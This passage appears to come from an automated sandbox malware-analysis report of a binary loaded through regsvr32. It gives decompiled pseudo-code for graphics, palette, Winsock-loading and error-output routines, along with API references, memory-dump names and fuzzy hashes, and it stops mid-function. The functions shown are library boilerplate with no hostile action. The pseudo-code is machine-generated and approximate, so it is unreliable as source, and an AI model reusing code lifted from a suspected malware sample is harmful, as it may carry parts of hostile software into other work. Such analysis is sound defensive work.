0x00416c34
0x00416c37
0x00416c47

APIs

GetObjectA.GDI32(?,00000018,?), ref: 00416B76
GetObjectA.GDI32(?,00000018,?), ref: 00416B85
GetBitmapBits.GDI32(?,?,?), ref: 00416BD6
GetBitmapBits.GDI32(?,?,?), ref: 00416BE4
DeleteObject.GDI32(?), ref: 00416BED
DeleteObject.GDI32(?), ref: 00416BF6
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 00416C18

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: b61a3257448abee260c13754b76445218206fa1ca11d053824904f3d15b50340
Instruction ID: abb5208c174249b603b6790c4d603967874671241161b05072aede9f9a185200
Opcode Fuzzy Hash: b61a3257448abee260c13754b76445218206fa1ca11d053824904f3d15b50340
Instruction Fuzzy Hash: D061E275A00219AFCB00DFA9C8859EEBBF9FF49304B168466F844EB351D634ED91CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 113
windowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041AC70(intOrPtr* __eax, void* __edx) {
				intOrPtr* _v8;
				struct HPALETTE__* _v12;
				char _v13;
				intOrPtr _v25;
				intOrPtr _v29;
				intOrPtr _v33;
				intOrPtr _v57;
				short _v59;
				short _v61;
				intOrPtr _v65;
				intOrPtr _v69;
				intOrPtr _v73;
				intOrPtr _v77;
				intOrPtr _v89;
				intOrPtr _v93;
				void _v97;
				void* _t44;
				void* _t46;
				intOrPtr _t49;
				void* _t54;
				struct HPALETTE__* _t56;
				void* _t72;
				void* _t74;
				void* _t75;
				struct HDC__* _t76;
				intOrPtr _t97;
				void* _t107;
				void* _t109;
				void* _t110;
				intOrPtr _t112;

				_t107 = _t109;
				_t110 = _t109 + 0xffffffa0;
				_t72 = __edx;
				_v8 = __eax;
				_t44 = E00419E2C(_v8);
				if(_t72 == _t44) {
					L17:
					return _t44;
				} else {
					_t46 = _t72 - 1;
					if(_t46 < 0) {
						_t44 =  *((intOrPtr*)( *_v8 + 0x6c))();
						goto L17;
					} else {
						if(_t46 == 7) {
							_t49 =  *0x438d78; // 0x413460
							_t44 = E00415E1C(_t49);
							goto L17;
						} else {
							E004029A0( &_v97, 0x54);
							_t54 = memcpy( &_v97,  *((intOrPtr*)(_v8 + 0x28)) + 0x18, 6 << 2);
							_t112 = _t110 + 0xc;
							_v13 = 0;
							_v77 = 0;
							_v73 = 0x28;
							_v69 = _v93;
							_v65 = _v89;
							_v61 = 1;
							_v59 =  *0x0043766B & 0x000000ff;
							_v12 =  *((intOrPtr*)(_t54 + 0x10));
							_t74 = _t72 - 2;
							if(_t74 == 0) {
								_t56 =  *0x43a880; // 0x1c0805c3
								_v12 = _t56;
							} else {
								_t75 = _t74 - 1;
								if(_t75 == 0) {
									_t76 = E00415F54(GetDC(0));
									_v12 = CreateHalftonePalette(_t76);
									_v13 = 1;
									ReleaseDC(0, _t76);
								} else {
									if(_t75 == 2) {
										_v57 = 3;
										_v33 = 0xf800;
										_v29 = 0x7e0;
										_v25 = 0x1f;
									}
								}
							}
							 *[fs:eax] = _t112;
							 *((char*)(_v8 + 0x22)) = E00419980( *((intOrPtr*)( *_v8 + 0x64))( *[fs:eax], 0x41adbd, _t107),  &_v97) & 0xffffff00 | _v12 != 0x00000000;
							_pop(_t97);
							 *[fs:eax] = _t97;
							_push(E0041ADC4);
							if(_v13 != 0) {
								return DeleteObject(_v12);
							}
							return 0;
						}
					}
				}
			}

0x0041ac71
0x0041ac73
0x0041ac79
0x0041ac7b
0x0041ac81
0x0041ac88
0x0041adcf
0x0041add5
0x0041ac8e
0x0041ac90
0x0041ac92
0x0041aca1
0x00000000
0x0041ac94
0x0041ac96
0x0041aca9
0x0041acae
0x00000000
0x0041ac98
0x0041acc2
0x0041acd8
0x0041acd8
0x0041acda
0x0041ace0
0x0041ace3
0x0041aced
0x0041acf3
0x0041acf6
0x0041ad07
0x0041ad0e
0x0041ad11
0x0041ad14
0x0041ad21
0x0041ad26
0x0041ad16
0x0041ad16
0x0041ad18
0x0041ad37
0x0041ad3f
0x0041ad42
0x0041ad49
0x0041ad1a
0x0041ad1d
0x0041ad50
0x0041ad57
0x0041ad5e
0x0041ad65
0x0041ad65
0x0041ad1d
0x0041ad18
0x0041ad77
0x0041ad9d
0x0041ada2
0x0041ada5
0x0041ada8
0x0041adb1
0x00000000
0x0041adb7
0x0041adbc
0x0041adbc
0x0041ac96
0x0041ac92

APIs

GetDC.USER32(00000000), ref: 0041AD2D
CreateHalftonePalette.GDI32(00000000,00000000), ref: 0041AD3A
ReleaseDC.USER32 ref: 0041AD49
DeleteObject.GDI32(00000000), ref: 0041ADB7

Strings

(, xrefs: 0041ACE3
`4A, xrefs: 0041ACA9

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CreateDeleteHalftoneObjectPaletteRelease
String ID: ($`4A
API String ID: 577518360-3940934240
Opcode ID: e22900dd55cd9a024e56b2fb5a6d11e6d76640a82ee25dbae6c0bd1aee954a58
Instruction ID: 9508a908259a57e96d9424b4a9124125ce09f5e481dd40aafbbd1e4919484ae1
Opcode Fuzzy Hash: e22900dd55cd9a024e56b2fb5a6d11e6d76640a82ee25dbae6c0bd1aee954a58
Instruction Fuzzy Hash: E441D170A04608DFDB14DFA8D485BDEB7F2EF49304F1040AAE408AB391D6785E95CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041878C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041878C(void* __eax, void* __edx) {
				BYTE* _v8;
				int _v12;
				struct HDC__* _v16;
				short _v18;
				signed int _v24;
				short _v26;
				short _v28;
				char _v38;
				void* __ebx;
				void* __ebp;
				signed int _t35;
				void* _t66;
				intOrPtr _t68;
				intOrPtr _t78;
				void* _t81;
				void* _t84;
				void* _t86;
				intOrPtr _t87;

				_t84 = _t86;
				_t87 = _t86 + 0xffffffdc;
				_t81 = __edx;
				_t66 = __eax;
				if( *((intOrPtr*)(__eax + 0x28)) == 0) {
					return __eax;
				} else {
					E004029A0( &_v38, 0x16);
					_t68 =  *((intOrPtr*)(_t66 + 0x28));
					_v38 = 0x9ac6cdd7;
					_t35 =  *((intOrPtr*)(_t68 + 0x18));
					if(_t35 != 0) {
						_v24 = _t35;
					} else {
						_v24 = 0x60;
					}
					_v28 = MulDiv( *(_t68 + 0xc), _v24 & 0x0000ffff, 0x9ec);
					_v26 = MulDiv( *(_t68 + 0x10), _v24 & 0x0000ffff, 0x9ec);
					_v18 = E00416C9C( &_v38);
					_v16 = GetDC(0);
					_push(_t84);
					_push(0x4188c7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t87;
					_v12 = GetWinMetaFileBits( *(_t68 + 8), 0, 0, 8, _v16);
					_v8 = E00402640(_v12);
					_push(_t84);
					_push(0x4188a7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t87;
					if(GetWinMetaFileBits( *(_t68 + 8), _v12, _v8, 8, _v16) < _v12) {
						E00415EAC(_t68);
					}
					E00412274(_t81, 0x16,  &_v38);
					E00412274(_t81, _v12, _v8);
					_pop(_t78);
					 *[fs:eax] = _t78;
					_push(E004188AE);
					return E00402660(_v8);
				}
			}

0x0041878d
0x0041878f
0x00418794
0x00418796
0x0041879c
0x004188d3
0x004187a2
0x004187ac
0x004187b1
0x004187b4
0x004187bb
0x004187c2
0x004187cc
0x004187c4
0x004187c4
0x004187c4
0x004187e3
0x004187fa
0x00418806
0x00418811
0x00418816
0x00418817
0x0041881c
0x0041881f
0x00418835
0x00418840
0x00418845
0x00418846
0x0041884b
0x0041884e
0x0041886b
0x0041886d
0x0041886d
0x0041887c
0x00418889
0x00418890
0x00418893
0x00418896
0x004188a6
0x004188a6

APIs

MulDiv.KERNEL32(?,?,000009EC), ref: 004187DE
MulDiv.KERNEL32(?,?,000009EC), ref: 004187F5
GetDC.USER32(00000000), ref: 0041880C
GetWinMetaFileBits.GDI32(?,00000000,00000000,00000008,?,00000000,004188C7,?,00000000,?,?,000009EC,?,?,000009EC), ref: 00418830
GetWinMetaFileBits.GDI32(?,?,?,00000008,?,00000000,004188A7,?,?,00000000,00000000,00000008,?,00000000,004188C7), ref: 00418863

Strings

`, xrefs: 004187C4

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: BitsFileMeta
String ID: `
API String ID: 858000408-2679148245
Opcode ID: 4ebdebd91d975684bb517f3d5e0189fd65a1528f7a85f2139b208e02b5a702f7
Instruction ID: aa973a002b15767ff09d94ec5cc118f01a6ba4acbf8cdd5f7325e73e40789144
Opcode Fuzzy Hash: 4ebdebd91d975684bb517f3d5e0189fd65a1528f7a85f2139b208e02b5a702f7
Instruction Fuzzy Hash: 46316875A00208ABDB00EFD5C881AEFB7B8EF48704F50446AF544EB291D7789E40DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00418E10 Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00418E10(int __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				void* _v20;
				struct tagRGBQUAD _v1044;
				int _t16;
				int _t37;
				intOrPtr _t44;
				void* _t46;
				void* _t49;
				void* _t51;
				intOrPtr _t52;

				_t16 = __eax;
				_t49 = _t51;
				_t52 = _t51 + 0xfffffbf0;
				_v8 = __edx;
				_t46 = __eax;
				if(__eax == 0 ||  *((short*)(__ecx + 0x26)) > 8) {
					L5:
					return _t16;
				} else {
					_t16 = E004166E8(_v8, 0xff,  &_v1044);
					_t37 = _t16;
					if(_t37 == 0) {
						goto L5;
					} else {
						_v12 = GetDC(0);
						_v16 = CreateCompatibleDC(_v12);
						_v20 = SelectObject(_v16, _t46);
						_push(_t49);
						_push(0x418ebf);
						_push( *[fs:eax]);
						 *[fs:eax] = _t52;
						SetDIBColorTable(_v16, 0, _t37,  &_v1044);
						_pop(_t44);
						 *[fs:eax] = _t44;
						_push(0x418ec6);
						SelectObject(_v16, _v20);
						DeleteDC(_v16);
						return ReleaseDC(0, _v12);
					}
				}
			}

0x00418e10
0x00418e11
0x00418e13
0x00418e1b
0x00418e1e
0x00418e22
0x00418ec6
0x00418ecb
0x00418e33
0x00418e41
0x00418e46
0x00418e4a
0x00000000
0x00418e4c
0x00418e53
0x00418e5f
0x00418e6c
0x00418e71
0x00418e72
0x00418e77
0x00418e7a
0x00418e8b
0x00418e92
0x00418e95
0x00418e98
0x00418ea5
0x00418eae
0x00418ebe
0x00418ebe
0x00418e4a

APIs

Part of subcall function 004166E8: GetObjectA.GDI32(?,00000004), ref: 004166FF
Part of subcall function 004166E8: GetPaletteEntries.GDI32(?,00000000,?,?), ref: 00416722

GetDC.USER32(00000000), ref: 00418E4E
CreateCompatibleDC.GDI32(?), ref: 00418E5A
SelectObject.GDI32(?), ref: 00418E67
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,00418EBF,?,?,?,?,00000000), ref: 00418E8B
SelectObject.GDI32(?,?), ref: 00418EA5
DeleteDC.GDI32(?), ref: 00418EAE
ReleaseDC.USER32 ref: 00418EB9

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Object$Select$ColorCompatibleCreateDeleteEntriesPaletteReleaseTable
String ID:
API String ID: 4046155103-0
Opcode ID: e6dc2d554c020bfc6fa04dc0f7ef36bc7cd2f2fc819d1bf203d72384efd80889
Instruction ID: 286507240c870b5ba4ccf783628fa5bc00f98b9b5b87a506594d2efd87eb33e6
Opcode Fuzzy Hash: e6dc2d554c020bfc6fa04dc0f7ef36bc7cd2f2fc819d1bf203d72384efd80889
Instruction Fuzzy Hash: 85112471E04709AFDB10EBE9C855EAFB7BCEF48704F0044AAB504E7291DB789D408B58

Uniqueness

Uniqueness Score: -1.00%

Function 00430350 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E00430350(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t19;
				intOrPtr _t26;
				void* _t30;
				intOrPtr _t42;
				void* _t51;

				_push(__ebx);
				_v8 = 0;
				_v12 = 0;
				_push(_t51);
				_push(0x43041d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51 + 0xfffffff0;
				if( *0x437fc0 == 0) {
					 *0x437fc0 = LoadLibraryA("WS2_32.DLL");
					if( *0x437fc0 == 0) {
						_push(GetLastError());
						_push( &_v8);
						_t26 =  *0x438d60; // 0x42f1c4
						E00405678(_t26,  &_v12);
						_push(_v12);
						_v20 = "WS2_32.DLL";
						_v16 = 0xb;
						_pop(_t30);
						E00407C7C(_t30, 0,  &_v20);
						E0042F3F4(__ebx, _v8, 1, __edi, __esi);
						E00403610();
					}
					_t19 =  *0x437fc0; // 0x0
					 *0x43aab8 = GetProcAddress(_t19, "WSAStartup");
					 *0x43aab8(_a4, _a8);
				}
				_pop(_t42);
				 *[fs:eax] = _t42;
				_push(E00430424);
				return E00403C5C( &_v12, 2);
			}

0x00430356
0x00430359
0x0043035c
0x00430361
0x00430362
0x00430367
0x0043036a
0x00430374
0x00430384
0x00430390
0x00430397
0x0043039b
0x0043039f
0x004303a4
0x004303ac
0x004303b2
0x004303b5
0x004303be
0x004303bf
0x004303ce
0x004303d3
0x004303d3
0x004303dd
0x004303e8
0x004303f6
0x004303fc
0x00430404
0x00430407
0x0043040a
0x0043041c

APIs

LoadLibraryA.KERNEL32(WS2_32.DLL,00000000,0043041D), ref: 0043037F
GetLastError.KERNEL32(WS2_32.DLL,00000000,0043041D), ref: 00430392

Part of subcall function 00405678: LoadStringA.USER32 ref: 004056A9

GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 004303E3

Strings

WS2_32.DLL, xrefs: 004303AD
WS2_32.DLL, xrefs: 0043037A
WSAStartup, xrefs: 004303D8

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Load$AddressErrorLastLibraryProcString
String ID: WS2_32.DLL$WS2_32.DLL$WSAStartup
API String ID: 607613470-1314211545
Opcode ID: 7a9f37c11985d29c2860da07e2541461a080663ebe58255c845779108bd3bd83
Instruction ID: 38ff16d1d51060f884c83a5036d225108306e9349d5a513df01cda47917b5736
Opcode Fuzzy Hash: 7a9f37c11985d29c2860da07e2541461a080663ebe58255c845779108bd3bd83
Instruction Fuzzy Hash: F3218E71A04208AFCB10EFA4DC51A9E7BF8F70C304F50557AE504E7691D7786A44CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A434 Relevance: 10.6, APIs: 7, Instructions: 56
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A434(void* __edx, void* __edi, void* __fp0) {
				void _v1024;
				char _v1088;
				long _v1092;
				void* _t12;
				char* _t14;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr _t24;
				long _t32;

				E0040A2AC(_t12,  &_v1024, __edx, __fp0, 0x400);
				_t14 =  *0x438fb8; // 0x43a044
				if( *_t14 == 0) {
					_t16 =  *0x438d14; // 0x405fd0
					_t9 = _t16 + 4; // 0xffe9
					_t18 =  *0x43a660; // 0x400000
					LoadStringA(E00404C20(_t18),  *_t9,  &_v1088, 0x40);
					return MessageBoxA(0,  &_v1024,  &_v1088, 0x2010);
				}
				_t24 =  *0x438d68; // 0x43a214
				E00402754(E004028B0(_t24));
				CharToOemA( &_v1024,  &_v1024);
				_t32 = E004076D0( &_v1024, __edi);
				WriteFile(GetStdHandle(0xfffffff4),  &_v1024, _t32,  &_v1092, 0);
				return WriteFile(GetStdHandle(0xfffffff4), 0x40a4f8, 2,  &_v1092, 0);
			}

0x0040a443
0x0040a448
0x0040a450
0x0040a4b7
0x0040a4bc
0x0040a4c0
0x0040a4cb
0x00000000
0x0040a4e1
0x0040a452
0x0040a45c
0x0040a46b
0x0040a47b
0x0040a48e
0x00000000

APIs

Part of subcall function 0040A2AC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040A2C9
Part of subcall function 0040A2AC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040A2ED
Part of subcall function 0040A2AC: GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040A308
Part of subcall function 0040A2AC: LoadStringA.USER32 ref: 0040A39E

CharToOemA.USER32 ref: 0040A46B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0040A488
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040A48E
GetStdHandle.KERNEL32(000000F4,0040A4F8,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040A4A3
WriteFile.KERNEL32(00000000,000000F4,0040A4F8,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0040A4A9
LoadStringA.USER32 ref: 0040A4CB
MessageBoxA.USER32 ref: 0040A4E1

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: b538bc88769f4385fda2ba442a995df2fad90d53facf11e1110da4ee8348dcc9
Instruction ID: a1d1ffae2ede291112b4f58840f772f5639ec4bfff08d70a9d613a39b4158efc
Opcode Fuzzy Hash: b538bc88769f4385fda2ba442a995df2fad90d53facf11e1110da4ee8348dcc9
Instruction Fuzzy Hash: EA115EB61183046AE200FB95CC46F8FB7ACAB44704F40453FB354F60E2DA78E9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00416994 Relevance: 9.1, APIs: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00416994(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, signed int* _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				struct HDC__* _v44;
				signed int* _t36;
				signed int _t39;
				signed int _t42;
				signed int* _t52;
				signed int _t56;
				intOrPtr _t66;
				void* _t72;
				void* _t73;
				void* _t74;
				intOrPtr _t75;

				_t73 = _t74;
				_t75 = _t74 + 0xffffff90;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t52 = _a8;
				_v24 = _v16 << 4;
				_v20 = E00406E48(_v24, __eflags);
				 *[fs:edx] = _t75;
				_t56 = _v24;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:edx], 0x416c8b, _t73, __edi, __esi, __ebx, _t72);
				if(( *_t52 | _t52[1]) != 0) {
					_t36 = _a4;
					 *_t36 =  *_t52;
					_t36[1] = _t52[1];
				} else {
					 *_a4 = GetSystemMetrics(0xb);
					_a4[1] = GetSystemMetrics(0xc);
				}
				_v44 = GetDC(0);
				if(_v44 == 0) {
					E00415E58(_t56);
				}
				_push(_t73);
				_push(0x416a7d);
				_push( *[fs:edx]);
				 *[fs:edx] = _t75;
				_t39 = GetDeviceCaps(_v44, 0xe);
				_t42 = _t39 * GetDeviceCaps(_v44, 0xc);
				if(_t42 <= 8) {
					__eflags = 1;
					_v32 = 1 << _t42;
				} else {
					_v32 = 0x7fffffff;
				}
				_pop(_t66);
				 *[fs:eax] = _t66;
				_push(E00416A84);
				return ReleaseDC(0, _v44);
			}

0x00416995
0x00416997
0x0041699d
0x004169a0
0x004169a3
0x004169a6
0x004169af
0x004169ba
0x004169c8
0x004169ce
0x004169d6
0x004169de
0x004169fb
0x00416a00
0x00416a05
0x004169e0
0x004169ea
0x004169f6
0x004169f6
0x00416a0f
0x00416a16
0x00416a18
0x00416a18
0x00416a1f
0x00416a20
0x00416a25
0x00416a28
0x00416a31
0x00416a47
0x00416a4d
0x00416a5f
0x00416a61
0x00416a4f
0x00416a4f
0x00416a4f
0x00416a66
0x00416a69
0x00416a6c
0x00416a7c

APIs

GetSystemMetrics.USER32 ref: 004169E2
GetSystemMetrics.USER32 ref: 004169EE
GetDC.USER32(00000000), ref: 00416A0A
GetDeviceCaps.GDI32(00000000,0000000E), ref: 00416A31
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00416A3E
ReleaseDC.USER32 ref: 00416A77

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: b06a14ab73318a9fe5b18642bc1575ab61f6738b938b10ff60aa3c6958d83c74
Instruction ID: 49878752c72c8e9086fc5f58ab6d1e40e715f453281ac5e941fb50c352d94279
Opcode Fuzzy Hash: b06a14ab73318a9fe5b18642bc1575ab61f6738b938b10ff60aa3c6958d83c74
Instruction Fuzzy Hash: A9312D75A006449FEB00DF65C841AAEBBB5EF49750F11816AE914BB384C674DD40CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416DFC Relevance: 9.1, APIs: 6, Instructions: 65
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00416DFC(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, struct HPALETTE__* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				struct HPALETTE__* _v12;
				struct HDC__* _v16;
				struct tagBITMAPINFO* _t36;
				intOrPtr _t43;
				struct HBITMAP__* _t47;
				void* _t50;

				_t36 = __ecx;
				_t47 = __eax;
				E00416CB4(__eax, _a4, __ecx);
				_v12 = 0;
				_v16 = CreateCompatibleDC(0);
				_push(_t50);
				_push(0x416e99);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50 + 0xfffffff4;
				if(__edx != 0) {
					_v12 = SelectPalette(_v16, __edx, 0);
					RealizePalette(_v16);
				}
				_v5 = GetDIBits(_v16, _t47, 0, _t36->bmiHeader.biHeight, _a8, _t36, 0) != 0;
				_pop(_t43);
				 *[fs:eax] = _t43;
				_push(E00416EA0);
				if(_v12 != 0) {
					SelectPalette(_v16, _v12, 0);
				}
				return DeleteDC(_v16);
			}

0x00416e05
0x00416e09
0x00416e12
0x00416e19
0x00416e23
0x00416e28
0x00416e29
0x00416e2e
0x00416e31
0x00416e36
0x00416e44
0x00416e4b
0x00416e4b
0x00416e69
0x00416e6f
0x00416e72
0x00416e75
0x00416e7e
0x00416e8a
0x00416e8a
0x00416e98

APIs

Part of subcall function 00416CB4: GetObjectA.GDI32(?,00000054), ref: 00416CC8

CreateCompatibleDC.GDI32(00000000), ref: 00416E1E
SelectPalette.GDI32(?,?,00000000), ref: 00416E3F
RealizePalette.GDI32(?), ref: 00416E4B
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 00416E62
SelectPalette.GDI32(?,00000000,00000000), ref: 00416E8A
DeleteDC.GDI32(?), ref: 00416E93

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Palette$Select$BitsCompatibleCreateDeleteObjectRealize
String ID:
API String ID: 1221726059-0
Opcode ID: 44c18f3165308364cfc662f5589eb9716e8bb1d8cffba2de7beaafc3f4374fb0
Instruction ID: 87a26565cb0b0ba2c394cf108b09db0ad0ecb29dcfde53416392dd40b88a3cfd
Opcode Fuzzy Hash: 44c18f3165308364cfc662f5589eb9716e8bb1d8cffba2de7beaafc3f4374fb0
Instruction Fuzzy Hash: 40115B75A047047BDB10DAA9CC85F9FBBECEF48704F11806AB518EB280D67899408B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401A44 Relevance: 9.1, APIs: 6, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00401A44() {
				void* _t2;
				void* _t3;
				void* _t14;
				intOrPtr* _t19;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t28;

				_t26 = _t28;
				if( *0x43a5bc == 0) {
					return _t2;
				} else {
					_push(_t26);
					_push(E00401B1A);
					_push( *[fs:edx]);
					 *[fs:edx] = _t28;
					if( *0x43a045 != 0) {
						_push(0x43a5c4);
						L004012DC();
					}
					 *0x43a5bc = 0;
					_t3 =  *0x43a61c; // 0x3524640
					LocalFree(_t3);
					 *0x43a61c = 0;
					_t19 =  *0x43a5e4; // 0x3525c74
